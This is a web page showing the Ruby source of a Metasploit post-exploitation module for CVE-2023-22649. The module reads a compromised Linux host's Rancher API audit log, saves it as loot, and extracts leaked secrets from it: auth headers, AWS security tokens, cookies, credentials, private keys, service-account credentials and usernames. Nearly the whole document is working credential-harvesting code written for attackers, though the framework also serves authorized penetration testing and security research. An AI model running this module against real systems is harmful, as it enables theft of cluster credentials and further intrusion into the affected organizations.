CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/rancher_audit_log_leak.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Rancher Audit Log Sensitive Information Leak',
15
'Description' => %q{
16
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
17
contain a vulnerability where sensitive data is leaked into the audit logs.
18
Rancher Audit Logging is an opt-in feature, only deployments that have it
19
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
20
21
Tested against rancher 2.6.0.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'h00die', # msf module
26
],
27
'Platform' => ['linux', 'unix'],
28
'SessionTypes' => ['shell', 'meterpreter'],
29
'References' => [
30
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
31
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
32
[ 'CVE', '2023-22649']
33
],
34
'DisclosureDate' => '2024-02-08',
35
'Notes' => {
36
'Stability' => [],
37
'Reliability' => [],
38
'SideEffects' => []
39
}
40
)
41
)
42
register_advanced_options [
43
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
44
]
45
end
46
47
def run
48
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
49
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])
50
51
log = read_file(datastore['LOGFILE'])
52
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
53
print_good("Rancher log saved to: #{loot}")
54
55
usernames_found = []
56
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])
57
58
log.each_line do |line|
59
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
60
leaky_response_headers = ['X-Api-Set-Cookie-Header']
61
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']
62
63
json_line = JSON.parse(line)
64
65
if json_line.key? 'requestHeader'
66
leaky_request_headers.each do |leaky_field|
67
next unless json_line['requestHeader'].key? leaky_field
68
69
secret = json_line['requestHeader'][leaky_field]
70
secret = secret.join(' ') if secret.is_a?(Array)
71
print_good("Found #{leaky_field} #{secret}")
72
table << [leaky_field, secret, 'requestHeader']
73
end
74
end
75
76
if json_line.key? 'responseHeader'
77
leaky_response_headers.each do |leaky_field|
78
next unless json_line['responseHeader'].key? leaky_field
79
80
secret = json_line['responseHeader'][leaky_field]
81
secret = secret.join(' ') if secret.is_a?(Array)
82
print_good("Found #{leaky_field}: #{secret}")
83
table << [leaky_field, secret, 'responseHeader']
84
end
85
end
86
87
if json_line.key? 'requestBody'
88
leaky_request_body.each do |leaky_field|
89
next unless json_line['requestBody'].key? leaky_field
90
91
secret = json_line['requestBody'][leaky_field]
92
secret = secret.join(' ') if secret.is_a?(Array)
93
print_good("Found #{leaky_field} in #{secret}")
94
table << [leaky_field, secret, 'requestBody']
95
end
96
end
97
98
if json_line.key? 'responseBody'
99
leaky_request_body.each do |leaky_field|
100
next unless json_line['responseBody'].key? leaky_field
101
102
secret = json_line['responseBody'][leaky_field]
103
secret = secret.join(' ') if secret.is_a?(Array)
104
print_good("Found #{leaky_field} in #{secret}")
105
table << [leaky_field, secret, 'responseBody']
106
end
107
end
108
109
usernames = json_line.dig('user', 'extra', 'username')
110
next if usernames.nil?
111
112
usernames_found += usernames
113
end
114
115
usernames_found.uniq.each do |username|
116
table << ['Username', username, 'Requests']
117
end
118
119
print_line
120
print_line(table.to_s)
121
end
122
end
123
124